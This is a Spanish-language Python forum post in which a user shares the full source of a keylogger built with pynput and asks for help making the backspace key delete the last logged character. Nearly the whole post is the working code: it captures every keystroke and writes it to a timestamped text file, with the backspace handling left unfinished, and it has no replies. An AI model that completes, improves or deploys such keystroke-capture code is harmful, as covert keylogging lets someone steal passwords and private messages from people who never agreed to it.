[ Foro de Python ]

Keylogger

10-Mar-2021 02:55
Invitado (DarkPhoenix)
0 Respuestas

Quisiera que alguien me pudiera ayudar con un error en mi keylogger de que quiero que al darle a le tecla de borrar se borre el ultimo caracter que se haya copiado en el archivo creado mediante variables, aqui les dejare el code porfa que alguien me ayude:

import datetime
from pynput.keyboard import Key, Listener

d = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")

file_name = 'keylogger_{}.txt'.format(d)

print("todo funciona bien hasta ahora")

keys = []

def key_recorder(key):    
   keys.append(key)
   key_writer(keys)

def key_writer(keys):
   print("Tecla precionada")
   with open(file_name, 'w') as f:
       for key in keys:
           key = str(key).replace("'", "")
           
           if key == 'Key.enter':
               f.write("\n")
               print("Enter")

           if key == 'Key.backspace':
               #aqui es donde quiero que se ejecute el comando
               print("Atras, borrar")

           if key == 'Key.space':
               f.write(' ')
               print("Espacio")

           elif key != 'Key.enter' and key != 'Key.backspace' and key != 'Key.space':
               f.write(key)

try:
   with Listener(on_press=key_recorder) as Listener:
       Listener.join()
except Exception as e:
   print(e)




(No se puede continuar esta discusión porque tiene más de dos meses de antigüedad. Si tienes dudas parecidas, abre un nuevo hilo.)